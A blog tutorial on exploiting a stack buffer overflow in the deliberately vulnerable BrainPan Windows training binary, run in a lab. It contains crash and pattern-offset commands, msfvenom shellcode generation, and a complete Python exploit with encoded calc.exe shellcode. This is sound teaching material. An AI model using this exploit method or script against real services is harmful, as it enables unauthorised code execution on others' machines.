Intro to Stack Overflow Exploitation on 32-Bit Windows Apps
Intro to Stack Overflow Exploitation on 32-Bit Windows Apps
Introduction
In this blog, we will learn how to exploit a Windows-based 32-bit application. For this blog, we will be using a simple application vulnerable to stack-based buffer overflow. This application does not have any protection mechanisms, such as DEP, ASLR, CFG, etc.
Prerequisite
Don’t worry if this is your first time exploiting a Windows-based application. This tutorial will cover most of it. If you have read and followed the previous ARX - Narnia blog, where we exploited ELF-based buffer overflows, you’ll find some similarities.
To learn more about the Windows x86 architecture, read this.
We will be using the THM - BrainPan application in this tutorial. To download the executable, start the machine and download it from hxxp://machine_ip:10000/bin/brainpan.exe
. The downloaded exe will be run on a Windows VM that has Windbg x86 installed. Kali Linux VM will be our attacking machine.
Exploitation
Before beginning, let’s verify if protections are enabled or disabled on this executable. I have used CFF Explorer to view the PE headers, but you can use any similar tool.
Great, The executable does not have any protections enabled.
Using a decompiler like Cutter (Radare2), you can get a gist of what the code is doing. This is optional, as the application does not implement any complex functionalities.
Decompiled main
function shows program setsup a TCP socket listener on port 9999
Now, let’s run the application on the Windows machine and connect to port 9999
via our Kali VM. It’s important that both the Windows VM and Kali VM should be in the same LAN.
On the Windows side, we can see logs of what’s happening inside the binary.
In the console output, we can see the TCP socket bind on port 9999
, a connection received, user_input
, and user_input
getting copied to some buffer.
Lets try passing a large input string of 1000 bytes. This will crash the brainpan.exe
.
python3 -c "import sys; sys.stdout.buffer.write(b'A'*1000)" | nc $WIN_IP 9999
Lets analyze the crash in WinDbg
. To run the program inside WinDbg
press Ctrl + E
. After executable is started in command section, type g
and press Enter to start the binary.
On sending a 1000
bytes buffer, brainpan.exe
will crash. This time we will analyze the crash in WinDbg
.
In the above image, we can see that EIP
points to 0x41414141
. This address is part of the user input, which means we can control the flow of the program by pointing EIP
to any address of our choice.
From here, we need to achieve following, 1. Control the EIP
2. Set EIP
so that it points to asm
code which gives us shell or execute payload. 3. Create a payload using msfvenom
and inject it inside the process.
To understand exactly which bytes are used as EIP we need to create a unique pattern of string and send it to process, then find the offset of that string.
In WinDbg
use .restart
command followed by g
command to restart the process.
To generate unique pattern and send it to binary, use command, msf-pattern_create -l 1000 | nc $WIN_IP 9999
In Windows VM we can see EIP
points to a different address then previous.
To find the offset of current EIP
value in our unique string, use command msf-pattern_offset -l 1000 -q 35724134
This will match at offset 524
Lets create a python script to have more control over payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket
import sys
try:
srv_ip = sys.argv[1]
except Exception as e:
print(e)
exit("srv_ip = argv[1]")
buf_a = b'A'*524
eip = b'\x44\x44\x44\x44'
buf_c = b'C' * (1000 - 524 - 4)
payload = buf_a + eip + buf_c
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((srv_ip, 9999))
s.send(payload)
print("Sent",len(payload),"bytes of payload.")
s.close()
except Exception as e:
print(e)
Now, let’s rerun the brainpan.exe
in WinDbg and send the payload using a Python script.
To send the payload, run python3 exp.py $WIN_IP
.
In WinDbg
we can see EIP
points to 0x44444444
and ESP
points to buf_c
. We can put our shellcode inside buf_c
variable.
Since ESP
points to buf_c
(our future shellcode), we need to set EIP
such that execution points to our shellcode.
If we can point EIP
to an asm
instruction like JMP ESP
or anything similar which execute instructions present at ESP
, it will work.
JMP ESP
in hex is 0xFF 0xE4
, lets try finding these bytes in brainpan.exe
. If there is a match, we can point EIP
to this address, which will eventually point to the shellcode present at ESP
.
Using the search command in WinDbg, we can find the offset of any hex bytes. We can use the lm
command to view the address range of brainpan.exe
and search within this range because brainpan.exe does not have ASLR enabled. The offset of JMP ESP
will always be the same, during each run, which makes it perfect to use in our exploit.
We will be using the above-mentioned offset for EIP
.
Now, let’s create a PoC shellcode using the command msfvenom -p windows/exec CMD="calc.exe" -f c
. In the output, you will see bytes that contain \x00
. We will try to avoid the null byte in our payload, as it generally indicates the end of a string.
\x00
is considered a bad character from the perspective of shellcode. There can be multiple different bad characters depending on the protocol and binary you are using. To find bad characters for your use case, try sending all available bytes from 0x00
to 0xff
. Put a breakpoint where this buffer is stored and then check the process memory to see if your input is correct. If it’s not correct, try removing the byte causing the problem from your input and resend it. Repeat this process until you find all bad characters. Try finding bad characters for brainpan.exe
; it will be a fun learning exercise. There are multiple other methods to achieve the same result.
For removing bad character from payload we can use various encoders like shikata_ga_nai
, countdow
, and other XOR based encoders. In this example I will be using countdown
encoder.
msfvenom -p windows/exec CMD=calc.exe -f c -e x86/countdown -b '\x00'
Lets modify exp.py
and place the generated shellcode in buf_c
variable, and JMP ESP
address in eip
variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import sys
try:
srv_ip = sys.argv[1]
except Exception as e:
print(e)
exit("srv_ip = argv[1]")
buf_a = b'A'*524
eip = b'\xf3\x12\x17\x31' # JMP ESP - 311712f3
buf_c = (b"\x29\xc9\xb1\xc0\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e"
b"\x07\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb"
b"\x68\x86\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16"
b"\xad\x51\x3a\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8"
b"\x25\x28\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe"
b"\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8"
b"\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90"
b"\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf\x59\x26\xa4\x66\x23\x7b"
b"\x15\x85\x3a\xe8\x3c\x41\x67\xb4\x0e\xe2\x66\x20\xe7\x35"
b"\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20"
b"\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4"
b"\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5\x1e\xf9\x10"
b"\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e\x5b\x70"
b"\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0\xdc"
b"\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\x93\xdb\xc7\xa5\xc1")
payload = buf_a + eip + buf_c
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((srv_ip, 9999))
s.send(payload)
print("Sent",len(payload),"bytes of payload.")
s.close()
except Exception as e:
print(e)
On successful execution of exp.py
, a calculator will spawn on the Windows VM. You can also run brainpan.exe
without WinDbg.
python3 exp.py $WIN_IP
And it’s successful! We can see calc.exe
popping up on the Windows VM.
Thanks for reading.